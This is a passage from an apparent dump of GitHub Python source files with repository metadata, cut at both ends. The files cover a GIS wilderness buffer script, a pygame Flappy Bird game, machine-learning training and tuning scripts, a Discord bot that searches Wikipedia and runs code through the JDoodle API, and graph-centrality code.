awilderness_file)\r\n    awilderness_1mi = awilderness.copy()\r\n    ga = awilderness.GIS_ACRES.values[0]\r\n    print(ga)\r\n    g_meters = ga * 4046.856\r\n    print(g_meters)\r\n    import math\r\n\r\n    r_meters = math.sqrt(g_meters / math.pi)\r\n    print(r_meters)\r\n    # print(awilderness.columns)\r\n    # awilderness = awilderness.to_crs({'proj':'cea'})\r\n    # awilderness['acres'] = awilderness['geometry'].area/4046.856\r\n    # aw = awilderness.geometry.unary_union.centroid\r\n    # cust_epsg = {'proj': 'aeqd', 'lat_0': aw.y, 'lon_0': aw.x, 'datum': 'WGS84', 'units': 'm',}\r\n\r\n    # stations = pandas.read_excel(uopen(vis_stations, 'rb'))\r\n    data = pandas.read_csv(vis_data)\r\n    # print(data.columns)\r\n    datum1 = data[data[\"impairment_Group\"] == 90]\r\n    extra_cols = [\r\n        e for e in datum1.columns if e not in [\"site\", \"Latitude\", \"Longitude\"]\r\n    ]\r\n    datum1 = datum1.drop(columns=extra_cols)\r\n    datum1[\"geometry\"] = geopandas.points_from_xy(datum1.Longitude, datum1.Latitude)\r\n    # datum = datum1[datum1['site'] == 'LIGO1']\r\n    print(station_list)\r\n    datum = datum1[datum1[\"site\"].isin(station_list)]\r\n    # print(datum.Latitude)\r\n    # print(datum.Longitude)\r\n    # datum['geometry'] = geopandas.points_from_xy(datum.Longitude, datum.Latitude)\r\n    # print(datum.head)\r\n    # va = geopandas.GeoDataFrame(datum, crs='EPSG:4326')\r\n    # va = geopandas.GeoDataFrame(datum, crs='EPSG:4269')\r\n    # print(va.Latitude.values[0])\r\n    # print(va.Longitude.values[0])\r\n    cust_epsg = {\r\n        \"proj\": \"aeqd\",\r\n        \"lat_0\": datum.Latitude.values[0],\r\n        \"lon_0\": datum.Longitude.values[0],\r\n        \"datum\": \"WGS84\",\r\n        \"units\": \"m\",\r\n    }\r\n    cust_epsg = {\"proj\": \"cea\"}\r\n    va = geopandas.GeoDataFrame(datum, crs=awilderness.crs)\r\n    va = va.to_crs(cust_epsg)\r\n    # print(va.head)\r\n    # print(va.columns)\r\n    print(r_meters)\r\n    print(va.crs)\r\n    # va['geometry'] = va.geometry.buffer(1)\r\n    va[\"geometry\"] = va.geometry.buffer(r_meters)\r\n    # va = va.to_crs({'proj':'cea'})\r\n    # va['acres'] = va['geometry'].area/4046.856\r\n    print(va.head)\r\n    # quit()\r\n    # print(awilderness.crs)\r\n    # print(va.crs)\r\n    var = va.to_crs(awilderness.crs)\r\n    var.to_file(driver=\"ESRI Shapefile\", filename=out_dir + \"vis_alt.shp\")\r\n    # datum['geometry'] = geopandas.points_from_xy(datum.Longitude, datum.Latitude)\r\n    da = geopandas.GeoDataFrame(datum)  # , crs='EPSG:4269')\r\n    da.to_file(driver=\"ESRI Shapefile\", filename=out_dir + \"vis_b.shp\")\r\n\r\n    # print(stations.head)\r\n    # station = stations.query('IMPROVE_SITE_CODE == 'LIGO1' | IMPROVE_SITE_CODE == 'JARI1'')\r\n    # station = stations[stations['IMPROVE_SITE_CODE'] == 'LIGO1']\r\n    # print(station.head)\r\n    # quit()\r\n","repo_name":"je/wcmm","sub_path":"wilderness.py","file_name":"wilderness.py","file_ext":"py","file_size_in_byte":31792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"33143264448","text":"from pygame import *\nfrom random import *\n\ninit()\n\nwidth = 800\nheight = 600\n\nscreen = display.set_mode((width,height))\n\nendProgram = False\n\nx = 800\nx1 = 1200\ny = 100\nz = 0\n\ngravity = True\nup = False\ncoins = True\ncoins1 = True\nscore1 = False\ngamescreen = True\ngameover = False\n\nbarrier1 = draw.rect(screen,(0,0,0),(0,0,800,1))\nbarrier3 = draw.rect(screen,(0,0,0),(0,0,3,600))\nbird = draw.rect(screen,(255,255,255),(375,y,50,50))\n\npositions = [[[x,0,75,200],[x,400,75,200]],[[x,0,75,100],[x,300,75,300]],[[x,0,75,300],[x,500,75,100]]]\npositions1 = [[[x1,0,75,200],[x1,400,75,200]],[[x1,0,75,100],[x1,300,75,300]],[[x1,0,75,300],[x1,500,75,100]]]\n\ndef DrawObstacles(first,second):\n\tone = draw.rect(screen,(255,0,0),(positions[first][0]))\n\ttwo = draw.rect(screen,(255,0,0),(positions[first][1]))\n\tthree = draw.rect(screen,(255,0,0),(positions1[second][0]))\n\tfour = draw.rect(screen,(255,0,0),(positions1[second][1]))\n\treturn\n\t\n\nfirst = randint(0,2)\nsecond = randint(0,2)\n\nscore = 0\n\nwhile endProgram == False:\n\tif gamescreen == True:\n\t\tpositions = [[[x,0,75,200],[x,400,75,200]],[[x,0,75,100],[x,300,75,300]],[[x,0,75,300],[x,500,75,100]]]\n\t\tpositions1 = [[[x1,0,75,200],[x1,400,75,200]],[[x1,0,75,100],[x1,300,75,300]],[[x1,0,75,300],[x1,500,75,100]]]\n\t\tfor e in event.get():\n\t\t\tif e.type == QUIT:\n\t\t\t\tendProgram = True\n\t\t\tif e.type == KEYDOWN:\n\t\t\t\tif e.key == K_SPACE:\n\t\t\t\t\tz = y\n\t\t\t\t\tup = True\n\t\t\t\t\tgravity = False\n\t\tscreen.fill((0,0,0))\n\t\tif score < 100:\n\t\t\tfont1 = font.Font(None,50)\n\t\telse:\n\t\t\tfont1 = font.Font(None,32)\n\t\tscoretext = font1.render(str(score),True,(0,0,0))\n\t\tif up == True:\n\t\t\ty -= 6\n\t\t\tif y == (z - 84) or bird.colliderect(barrier1):\n\t\t\t\tup = False\n\t\t\t\tgravity = True\n\t\tif gravity == True:\n\t\t\ty += 5\n\t\t\t\t\n\t\tDrawObstacles(first,second)\n\t\t\n\t\tif score <= 10:\n\t\t\tx -= 3\n\t\t\tx1 -= 3\n\t\tif score > 10 and score <= 25:\n\t\t\tx -= 4\n\t\t\tx1 -= 4\n\t\tif score > 25 and score <= 40:\n\t\t\tx -= 5\n\t\t\tx1 -= 5\n\t\tif score > 40 and score <= 55:\n\t\t\tx -= 6\n\t\t\tx1 -= 6\n\t\tif score > 55 and score <= 70:\n\t\t\tx -= 7\n\t\t\tx1 -= 7\n\t\tif score > 70 and score <= 85:\n\t\t\tx -= 8\n\t\t\tx1 -= 8\n\t\tif score > 85 and score <= 100:\n\t\t\tx -= 9\n\t\t\tx1 -= 9\n\t\tif score > 100:\n\t\t\tx -= 10\n\t\t\tx1 -= 10\n\t\t\t\n\t\tbird = draw.rect(screen,(255,255,255),(375,y,50,50))\n\t\tscreen.blit(scoretext,(380,y+7))\n\t\tone = draw.rect(screen,(255,0,0),(positions[first][0]))\n\t\ttwo = draw.rect(screen,(255,0,0),(positions[first][1]))\n\t\tthree = draw.rect(screen,(255,0,0),(positions1[second][0]))\n\t\tfour = draw.rect(screen,(255,0,0),(positions1[second][1]))\n\t\tbarrier3 = draw.rect(screen,(0,0,0),(0,0,3,600))\n\t\tbarrier4 = draw.rect(screen,(0,0,0),(0,599,800,1))\n\t\t\n\t\tif coins == True:\n\t\t\tcoin = draw.circle(screen,(255,255,0),(x+37,positions[first][0][3]+100),20)\n\t\telse:\n\t\t\tcoin = draw.circle(screen,(255,255,0),(5000,positions[first][0][3]+100),20)\n\t\tif coins1 == True:\n\t\t\tcoin1 = draw.circle(screen,(255,255,0),(x1+37,positions[second][0][3]+100),20)\n\t\telse:\n\t\t\tcoin1 = draw.circle(screen,(255,255,0),(5000,positions[second][0][3]+100),20)\n\t\t\t\n\t\tif coin.colliderect(bird):\n\t\t\tcoins = False\n\t\t\tscore1 = True\n\n\t\tif bird.colliderect(coin1):\n\t\t\tcoins1 = False\n\t\t\tscore1 = True\n\t\t\t\n\t\tif score1 == True:\n\t\t\tscore += 1\n\t\t\tscore1 = False\n\n\t\tif one.colliderect(barrier3):\n\t\t\tx = 800\n\t\t\tfirst = randint(0,2)\n\t\t\tcoins = True\n\n\t\tif three.colliderect(barrier3):\n\t\t\tx1 = 800\n\t\t\tsecond = randint(0,2)\n\t\t\tcoins1 = True\n\t\t\n\t\tif bird.colliderect(one) or bird.colliderect(two) or bird.colliderect(three) or bird.colliderect(four) or bird.colliderect(barrier4):\n\t\t\tgamescreen = False\n\t\t\tgameover = True\n\tif gameover == True:\n\t\tfor e in event.get():\n\t\t\tif e.type == QUIT:\n\t\t\t\tendProgram = True\n\t\t\tif e.type == KEYDOWN:\n\t\t\t\tif e.key == K_RETURN:\n\t\t\t\t\tgamescreen = True\n\t\t\t\t\tgameover = False\n\t\t\t\t\tscore = 0\n\t\t\t\t\tx = 800\n\t\t\t\t\tx1 = 1200\n\t\t\t\t\ty = 100\n\t\t\t\t\tz = 0\n\n\t\t\t\t\tgravity = True\n\t\t\t\t\tup = False\n\t\t\t\t\tcoins = True\n\t\t\t\t\tcoins1 = True\n\t\t\t\t\tscore1 = False\n\t\t\t\t\tgamescreen = True\n\t\t\t\t\tgameover = False\n\t\tscreen.fill((0,0,0))\n\t\tfont1 = font.Font(None,75)\n\t\tscoretext = font1.render(\"Score: \"+str(score),True,(255,255,255))\n\t\tscreen.blit(scoretext,(270,200))\n\t\t\n\tdisplay.flip()\n","repo_name":"BJJ-Hub/FlappyBird","sub_path":"flappybird.py","file_name":"flappybird.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"24316548616","text":"from pathlib import Path\nimport argparse\n\nfrom src import dataframe\nfrom src import processing\n\n\ndef is_positive(value):\n    f_value = float(value)\n    if f_value < 0:\n        raise argparse.ArgumentTypeError(\"'{}' is not a valid positive value.\".format(value))\n    return f_value\n\n\ndef is_positive_int(value):\n    i_value = int(value)\n    if i_value < 0:\n        raise argparse.ArgumentTypeError(\"'{}' is not a valid positive int value.\".format(value))\n    return i_value\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"file\", type=str, help=\"train dataset file to be used\")\nparser.add_argument(\"-n\", \"--name\", type=str, default=\"model\", help=\"name of the model\")\nparser.add_argument(\"-o\", \"--save_dir\", type=str, default=\"model\", help=\"directory where to save model and df\")\nparser.add_argument(\"-s\", \"--scale\", type=str, choices=[\"minmax\", \"meannorm\"], default=\"minmax\", help=\"type of scale to be used for data normalization\")\nparser.add_argument(\"-r\", \"--regul_rate\", type=is_positive, default=None, help=\"Value of the regularization rate. 0 or None if no regul (default).\")\nparser.add_argument(\"-lr\", \"--learning_rate\", type=is_positive, default=0.1, help=\"Learning rate value (0.1 by default)\")\nparser.add_argument(\"-i\", \"--nb_iter\", type=is_positive_int, default=1000, help=\"number of iteration (1000 by default)\")\nparser.add_argument(\"-v\", \"--verbosity\", type=int, default=1, choices=[0, 1, 2], help=\"verbosity level: 0->silent, 1->result print, 2->plot show\")\nparser.add_argument(\"-d\", \"--drop_col_6_7_16\", action=\"store_true\", help=\"drop col 5, 6 and 16 (useless col, see pairplot\")\nargs = parser.parse_args()\ndf = dataframe.DataFrame()\ntry:\n    classes = [\"Ravenclaw\", \"Slytherin\", \"Gryffindor\", \"Hufflepuff\"]\n    df.read_from_csv(args.file, header=True, converts={1: classes, 5: [\"Left\", \"Right\"]})\nexcept (FileExistsError, FileNotFoundError, IsADirectoryError, PermissionError, NotADirectoryError, ValueError, IndexError, UnicodeDecodeError, UnicodeError, UnicodeEncodeError) as err:\n    print(\"Could not read file '{}' because : {}\".format(Path(args.file), err))\n    exit(0)\nif not Path(args.save_dir).is_dir():\n    print(\"Directory '{}' does not exist\".format(args.save_dir))\n    exit(0)\ndf.drop_column([0])             # index column\nif args.drop_col_6_7_16:\n    df.drop_column([5, 6, 15])  # useless column (homogenous distri and correlated variable)\ndf.drop_nan_column()\ndf.drop_nan_row()\ndf.scale(scale_type=args.scale, first_col=1)\nmodel = processing.LogReg(nb_itertion=args.nb_iter, learning_rate=args.learning_rate, nb_class=4,\n                          regularization_rate=args.regul_rate, model_name=args.name)\ny_pred = model.fit(df.data[:, 1:], df.data[:, 0], verbose=args.verbosity)\nmodel_file = Path(args.save_dir) / \"{}.pkl\".format(args.name)\ntry:\n    model.save_model(model_file)\nexcept (FileExistsError, FileNotFoundError, IsADirectoryError, PermissionError, NotADirectoryError, ValueError, IndexError, UnicodeDecodeError, UnicodeError, UnicodeEncodeError) as err:\n    print(\"Can't save model to '{}' because : {}\".format(model_file, err))\nprint(\"Model saved to '{}'\".format(model_file))\ndf_tool_file = Path(args.save_dir) / \"{}_df_tool.pkl\".format(args.name)\ntry:\n    df.save_scale_and_label(df_tool_file)\nexcept (FileExistsError, FileNotFoundError, IsADirectoryError, PermissionError, NotADirectoryError, ValueError, IndexError, UnicodeDecodeError, UnicodeError, UnicodeEncodeError) as err:\n    print(\"Can't save dataframe scaler and label to '{}' because : {}\".format(model_file, err))\nprint(\"Dataframe scaler and label saved to '{}'\".format(df_tool_file))\n","repo_name":"jjauzion/dslr","sub_path":"logreg_train.py","file_name":"logreg_train.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73394760697","text":"import discord\nfrom discord.ext import commands, tasks\nimport random as rand\nimport json\nimport urllib\nimport wikipedia\nfrom time import time\nimport yaml\nfrom datetime import datetime\nimport bs4 as bs\nfrom bs4.element import Comment\nfrom utils.webclient import webc\n\n\ntry:\n    config_file = open('config.yml')\nexcept FileNotFoundError:\n    config_file = open('example_config.yml')\nfinally:\n    config = yaml.load(config_file, Loader=yaml.FullLoader)\n    cat_api = config['cats']['token']\n    client_id, client_secret = config['jdoodle']['client_id'], config['jdoodle']['client_secret']\n\nclass SearcherCog(commands.Cog):\n\n    wait_time = 0\n\n    def __init__(self, bot):\n        self.bot = bot\n\n    def getSummary(self, name):\n        try:\n            if urllib.request.urlopen('https://en.wikipedia.org/wiki/'+name).getcode() != 404:\n                return wikipedia.page(name), wikipedia.summary(name, sentences=5)\n        except wikipedia.DisambiguationError as e:\n            if len(e.options) > 0:\n                return self.getSummary(e.options[0].replace(' ', '_'))\n            else:\n                return None, None\n        except:\n            return None, None\n\n    def valid(self, url):\n        try:\n            if urllib.request.urlopen(url).getcode() == 200:\n                return True\n            else:\n                return False\n        except:\n            return False\n\n    def tag_visible(self, element):\n        if element.parent.name in ['style', 'script', 'head', 'title', 'meta', '[document]']:\n            return False\n        if isinstance(element, Comment):\n            return False\n        return True\n\n    async def wcipegScrape(self, name):\n        if self.valid('http://wcipeg.com/wiki/%s' % name.replace(' ', '_')):\n            try:\n                url = 'http://wcipeg.com/wiki/%s' % name.replace(' ', '_')\n                wiki_response = await webc.webget_text(url)\n                soup = bs.BeautifulSoup(wiki_response, 'lxml')\n                scan = True\n                title = soup.find('h1', attrs={'id': 'firstHeading'}).contents[0]\n                texts = soup.find('div', attrs={'id': 'mw-content-text'}).find('p').find_all(text=True)\n                visible_texts = filter(self.tag_visible, texts)  \n                summary = ' '.join(t.strip() for t in visible_texts)\n                return title, summary, url\n            except:\n                return None\n\n    @commands.command()\n    async def whatis(self, ctx, *, name=None):\n        if name is None:\n            prefix = await self.bot.command_prefix(self.bot, ctx.message)\n            await ctx.send(ctx.message.author.display_name + ', Invalid query. Please use format `%swhatis <thing>`.' % prefix)\n            return\n        peg_res = await self.wcipegScrape(name)\n        if peg_res is not None:\n            title, summary, url = peg_res\n            embed = discord.Embed(title=title, description=url + ' (searched in %ss)' % str(round(self.bot.latency, 3)))\n            embed.timestamp = datetime.utcnow()\n            embed.add_field(name='Summary', value=summary[-1024:], inline=False)\n            await ctx.send(ctx.message.author.display_name + ', Here\\'s what I found!', embed=embed)\n            return\n        page, summary = self.getSummary(name.replace(' ', '_'))\n        if summary is None:\n            await ctx.send(ctx.message.author.display_name + ', Sorry, I couldn\\'t find anything on \"%s\"' % name)\n            return\n        embed = discord.Embed(title=page.title, description=page.url+' (searched in %ss)' % str(round(self.bot.latency, 3)))\n        embed.timestamp = datetime.utcnow()\n        embed.add_field(name='Summary', value=summary[-1024:], inline=False)\n        await ctx.send(ctx.message.author.display_name + ', Here\\'s what I found!', embed=embed)\n\n    @commands.command()\n    async def cat(self, ctx):\n        if rand.randint(0, 100) == 0:\n            data = [{'url':'https://bit.ly/3jiPSzb'}]\n        else:\n            data = await webc.webget_json('https://api.thecatapi.com/v1/images/search?x-api-key=' + cat_api)\n        await ctx.send(ctx.message.author.display_name + ', :smiley_cat: ' + data[0]['url'])\n\n    @commands.command()\n    async def run(self, ctx, lang=None, stdin=None, *, script=None):\n        if lang is None or stdin is None or script is None:\n            prefix = await self.bot.command_prefix(self.bot, ctx.message)\n            await ctx.send(ctx.message.author.display_name + ', Invalid query. Please use format `%srun <language> \"<stdin>\" <script>`.' % prefix)\n            return\n        headers = {'Content-type':'application/json', 'Accept':'application/json'}\n        credit_spent = await webc.webpost_json('https://api.jdoodle.com/v1/credit-spent', json={'clientId': client_id, 'clientSecret': client_secret}, headers=headers)\n        if 'error' not in credit_spent and credit_spent['used'] >= 200:\n            await ctx.send(ctx.message.author.display_name + ', Sorry, the daily limit of compilations has been surpassed (200). Please wait until 12:00 AM UTC')\n            return\n        if time() - self.wait_time < 15:\n            await ctx.send(ctx.message.author.display_name + ', Queue in process, please wait %d seconds' % (15 - (time() - self.wait_time)))\n            return\n        self.wait_time = time()\n        lang = lang.lower()\n        script = script.replace('`', '')\n        data = {\n            'clientId': client_id,\n            'clientSecret': client_secret,\n            'script': script,\n            'stdin': stdin,\n            'language': lang,\n            'versionIndex': 0\n            }\n        response = await webc.webpost_json('https://api.jdoodle.com/v1/execute', json=data, headers=headers)\n        if 'error' in response and response['statusCode'] == 400:\n            await ctx.send(ctx.message.author.display_name + ', Invalid request. Perhaps the language you\\'re using is unavailable. See languages here: https://docs.jdoodle.com/compiler-api/compiler-api#what-languages-and-versions-supported')\n        elif 'error' in response:\n            await ctx.send(ctx.message.author.display_name + ', Compilation failed. The compiler may be down.')\n        else:\n            message = '\\n'\n            message += 'CPU Time: `' + ((str(response['cpuTime']) + 's') if response['cpuTime'] is not None else 'N/A') + '`\\n'\n            message += 'Memory: `' + ((str(response['memory']) + 'KB') if response['memory'] is not None else 'N/A') + '`\\n'\n            try:\n                output_message = ''\n                if len(response['output']) > 0:\n                    output_message += '\\n```' + response['output'] + '```'\n                else:\n                    output_message += '\\n```\\n```'\n                await ctx.send(ctx.message.author.display_name + message + output_message)\n\n            except discord.errors.HTTPException:\n                with open('data/solution.txt', 'w+') as f:\n                    f.write(response['output'])\n                await ctx.send(ctx.message.author.display_name + message + '\\n That\\'s a really long output, I put it in this file for you.', file=discord.File('data/solution.txt', 'output.txt'))    \n\n\ndef setup(bot):\n    bot.add_cog(SearcherCog(bot))\n","repo_name":"kevinjycui/Practice-Bot","sub_path":"cogs/searcher.py","file_name":"searcher.py","file_ext":"py","file_size_in_byte":7178,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"22"}
+{"seq_id":"73635583417","text":"import scipy.io\n\n\ndef get_dataset(fraction):\n    # Load data\n    data = scipy.io.loadmat(\"data/ks_chaotic.mat\")\n    u_ref = data[\"usol\"]\n    t_star = data[\"t\"].flatten()\n    x_star = data[\"x\"].flatten()\n\n    # Only use a fraction of the data\n    num_time_steps = int(fraction * len(t_star))\n    t_star = t_star[:num_time_steps]\n    u_ref = u_ref[:num_time_steps, :]\n\n    return u_ref, t_star, x_star\n","repo_name":"PredictiveIntelligenceLab/jaxpi","sub_path":"examples/ks_chaotic/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"22"}
+{"seq_id":"35266460013","text":"import torch\nimport sys\nfrom torch.autograd import Variable\nimport numpy as np\nfrom options.train_options import TrainOptions\n # set CUDA_VISIBLE_DEVICES before import torch\nfrom data.data_loader import CreateDataLoader\nfrom models.models import create_model\nfrom skimage import io\nfrom skimage.transform import resize\nimport click\nimport cv2\nfrom PIL import Image\ndef global_linear_transmation(img):\n    maxV = img.max()\n    minV = img.min()\n    for i in range(img.shape[0]):\n        for j in range(img.shape[1]):\n            img[i, j] = ((img[i, j] - minV) * 255) / (maxV - minV)\n    return img\ndef depth2color(depth):\n    depth = np.array(depth, np.uint8)\n    color = cv2.applyColorMap(depth, cv2.COLORMAP_JET)\n    return color\ndef test_simple(model, img_path):\n    total_loss =0 \n    toal_count = 0\n    print(\"============================= TEST ============================\")\n    model.switch_to_eval()\n\n    img = np.float32(io.imread(img_path))/255.0\n    img = resize(img, (input_height, input_width), order = 1)\n    input_img =  torch.from_numpy( np.transpose(img, (2,0,1)) ).contiguous().float()\n    input_img = input_img.unsqueeze(0)\n\n    input_images = Variable(input_img.cuda() )\n    pred_log_depth = model.netG.forward(input_images) \n    pred_log_depth = torch.squeeze(pred_log_depth)\n\n    pred_depth = torch.exp(pred_log_depth)\n\n    # visualize prediction using inverse depth, so that we don't need sky segmentation (if you want to use RGB map for visualization, \\\n    # you have to run semantic segmentation to mask the sky first since the depth of sky is random from CNN)\n    pred_inv_depth = 1/pred_depth\n    pred_inv_depth = pred_inv_depth.data.cpu().numpy()\n    # you might also use percentile for better visualization\n    pred_inv_depth = pred_inv_depth/np.amax(pred_inv_depth)\n    pred_inv_depth = global_linear_transmation(pred_inv_depth)\n\n    # pred_inv_depth = np.expand_dims(pred_inv_depth, axis = 2)\n    # pred_inv_depth = np.concatenate((pred_inv_depth, pred_inv_depth, pred_inv_depth), axis = -1)\n    # image_rgb = cv2.cvtColor(image_hsv, cv2.COLOR_HSV2RGB)\n    color = depth2color(pred_inv_depth)\n\n    # image_rgb = cv2.cvtColor(pred_inv_depth, cv2.COLOR_GRAY2RGB)\n    cv2.imwrite(img_path.split('.')[0] + '.png', color)\n    # print(pred_inv_depth.shape)\n    sys.exit()\n\n\nopt = TrainOptions().parse()\nmodel, img_path = create_model(opt)\n\ninput_height = 384\ninput_width  = 512\n\ntest_simple(model, img_path)\nprint(\"We are done\")\n","repo_name":"Fightingyoung/my_megadepth","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37754976321","text":"# -*- coding: UTF-8 -*-\n\nimport pandas as pd\nfrom sklearn.decomposition import PCA\n\ndef pca_reduce(df, configger):\n    \"\"\"\n\n    Parameters\n    ----------\n    df\n    configger\n\n        n_components : int, float, None or str\n                Number of components to keep.\n                if n_components is not set all components are kept::\n\n                    n_components == min(n_samples, n_features)\n\n                If ``n_components == 'mle'`` and ``svd_solver == 'full'``, Minka's\n                MLE is used to guess the dimension. Use of ``n_components == 'mle'``\n                will interpret ``svd_solver == 'auto'`` as ``svd_solver == 'full'``.\n\n                If ``0 < n_components < 1`` and ``svd_solver == 'full'``, select the\n                number of components such that the amount of variance that needs to be\n                explained is greater than the percentage specified by n_components.\n\n                If ``svd_solver == 'arpack'``, the number of components must be\n                strictly less than the minimum of n_features and n_samples.\n\n                Hence, the None case results in::\n\n                    n_components == min(n_samples, n_features) - 1\n\n            whiten : bool, optional (default False)\n                When True (False by default) the `components_` vectors are multiplied\n                by the square root of n_samples and then divided by the singular values\n                to ensure uncorrelated outputs with unit component-wise variances.\n\n                Whitening will remove some information from the transformed signal\n                (the relative variance scales of the components) but can sometime\n                improve the predictive accuracy of the downstream estimators by\n                making their data respect some hard-wired assumptions.\n\n            svd_solver : str {'auto', 'full', 'arpack', 'randomized'}\n                If auto :\n                    The solver is selected by a default policy based on `X.shape` and\n                    `n_components`: if the input data is larger than 500x500 and the\n                    number of components to extract is lower than 80% of the smallest\n                    dimension of the data, then the more efficient 'randomized'\n                    method is enabled. Otherwise the exact full SVD is computed and\n                    optionally truncated afterwards.\n                If full :\n                    run exact full SVD calling the standard LAPACK solver via\n                    `scipy.linalg.svd` and select the components by postprocessing\n                If arpack :\n                    run SVD truncated to n_components calling ARPACK solver via\n                    `scipy.sparse.linalg.svds`. It requires strictly\n                    0 < n_components < min(X.shape)\n                If randomized :\n                    run randomized SVD by the method of Halko et al.\n\n            tol : float >= 0, optional (default .0)\n                Tolerance for singular values computed by svd_solver == 'arpack'.\n\n            iterated_power : int >= 0, or 'auto', (default 'auto')\n                Number of iterations for the power method computed by\n                svd_solver == 'randomized'.\n\n            random_state : int, RandomState instance or None, optional (default None)\n                If int, random_state is the seed used by the random number generator;\n                If RandomState instance, random_state is the random number generator;\n                If None, the random number generator is the RandomState instance used\n                by `np.random`. Used when ``svd_solver`` == 'arpack' or 'randomized'.\n\n    Returns\n    -------\n    df_t: the result dataFrame. the new feature named like \"pca_component_${n}\"\n\n    \"\"\"\n\n    n_components = configger.n_components\n    whiten = configger.whiten\n    svd_solver = configger.svd_solver\n    tol = configger.tol\n    iterated_power = configger.iterated_power\n    random_state = configger.random_state\n\n    pca = PCA(n_components=n_components, whiten=whiten, svd_solver=svd_solver, tol=tol, iterated_power=iterated_power,\n              random_state=random_state)\n    pca_res = pca.fit_transform(df)\n    names = [\"pca_components_\" + str(i) for i in range(pca_res.shape[1])]\n    res = pd.DataFrame(pca_res, columns=names)\n    df_t = pd.concat([df, res], axis=1)\n    return df_t\n","repo_name":"rwbfd/OpenCompetition","sub_path":"src/tabular/feature_engineering/dimension_reduction/PCA.py","file_name":"PCA.py","file_ext":"py","file_size_in_byte":4363,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"22"}
+{"seq_id":"10603724852","text":"import torch\nimport torch.optim as optim\nimport torch.nn as nn\nimport numpy as np\nfrom mri_dataset import MRIDataset, SliceMRIDataset\nfrom model_3d import CNN, train, eval\nimport argparse\nimport os\nfrom skorch import NeuralNetRegressor\nfrom sklearn.model_selection import GridSearchCV\nfrom scipy.stats import randint as sp_randint\nimport IPython\n\nif __name__ == \"__main__\":\n    torch.cuda.set_device(0)\n\n    # Parsing arguments\n    parser = argparse.ArgumentParser(description='3D CNN for regression')\n    parser.add_argument('--data_dir')\n    parser.add_argument('--output_dir')\n    parser.add_argument('--epoch', type=int, default=30)\n    #parser.add_argument('--train_batch_size', type=int, default=2)\n    #parser.add_argument('--valid_batch_size', type=int, default=4)\n    parser.add_argument('--checkpoint_state', default='')\n    parser.add_argument('--optimizer', default='sgd', help='Optimizer type')\n    parser.add_argument('--resize', type=int, default=0)\n    parser.add_argument('--lr', type=float, default=0.01)\n    parser.add_argument('--momentum', type=float, default=0.5)\n    args = parser.parse_args()\n\n    # Setting device\n    device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n    model = CNN()\n    model.cuda()\n    \n    # Setting up data parallelism, if available\n    if torch.cuda.device_count() > 1:\n        print('Using Data Parallelism with multiple GPUs available')\n        model = nn.DataParallel(model)\n\n    # # Load from checkpoint, if available\n    # if args.checkpoint_state:\n    #     saved_state = torch.load(args.checkpoint_state)\n    #     model.load_state_dict(saved_state)\n    #     print('Loaded model from checkpoint')\n\n    # Load and create datasets\n    train_img = np.load(os.path.join(args.data_dir, 'train_data_img.npy'), allow_pickle=True)\n    #valid_img = np.load(os.path.join(args.data_dir, 'valid_data_img.npy'), allow_pickle=True)\n    train_target = np.load(os.path.join(args.data_dir, 'train_data_target.npy'), allow_pickle=True)\n    #valid_target = np.load(os.path.join(args.data_dir, 'valid_data_target.npy'), allow_pickle=True)\n\n    train_dataset = MRIDataset(train_img, train_target, args.resize)\n    #train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=args.train_batch_size)\n    #valid_dataset = MRIDataset(valid_img, valid_target, args.resize)\n    #valid_loader = torch.utils.data.DataLoader(valid_dataset, batch_size=args.valid_batch_size)\n\n    if args.optimizer == 'sgd':\n        optimizer = torch.optim.SGD\n    elif args.optimizer == 'adam':\n        optimizer = torch.optim.Adam\n    \n    net = NeuralNetRegressor(model, max_epochs=3, lr=0.001, optimizer=optimizer, optimizer__weight_decay=0.001, verbose=1, batch_size=12)\n    \n    params = {\n        'lr':[0.001, 0.01, 0.02, 0.04, 0.1],\n        'optimizer__weight_decay': [0.001, 0.005, 0.01, 0.05, 0.1]\n    }\n\n    slice_dataset = SliceMRIDataset(train_dataset)\n    gs = GridSearchCV(net, params, refit=False, cv=3, scoring='neg_mean_squared_error', verbose=10)\n    #loss = nn.L1Loss()\n    \n    gs.fit(slice_dataset, train_dataset.get_y_data())\n    print(gs.best_params_)\n    np.save('gs_best_params.npy', gs.best_params_)\n\n    # train(model, args.epoch, train_loader, valid_loader, optimizer, loss, args.output_dir)\n    # eval(model, valid_loader, loss)\n\n","repo_name":"ML4HPC/Brain_fMRI","sub_path":"tune_cnn_3d.py","file_name":"tune_cnn_3d.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"12989862454","text":"from pyspark import SparkContext\nfrom pyspark.sql import SQLContext\nfrom pyspark.sql import functions\nfrom graphframes import *\nfrom pyspark.sql.functions import explode\nimport networkx as nx\n\nsc=SparkContext(\"local\", \"degree.py\")\nsqlContext = SQLContext(sc)\n\ndef closeness(g):\n    # Get list of vertices. We'll generate all the shortest paths at\n    # once using this list.\n    vlist = g.vertices.select('id').flatMap(lambda x:x).collect()\n    # first get all the path lengths.\n    paths = g.shortestPaths(landmarks=vlist).select(\"id\", explode(\"distances\"))\n    # Break up the map and group by ID for summing\n    # Sum by ID\n    df = paths.groupBy('id').sum()\n    # Get the inverses and generate desired dataframe.\n    nid = df.select('id').flatMap(lambda x:x).collect()\n    close = df.select('sum(value)').flatMap(lambda x:x).collect()\n    j=0\n    cc = 0.0\n    for i in close:\n        cc = 1/float(i)\n        close[j]= cc\n        j=j+1\n    df2 = sqlContext.createDataFrame(zip(nid,close),['id','closeness'])\n    return df2\n\n\nprint(\"Reading in 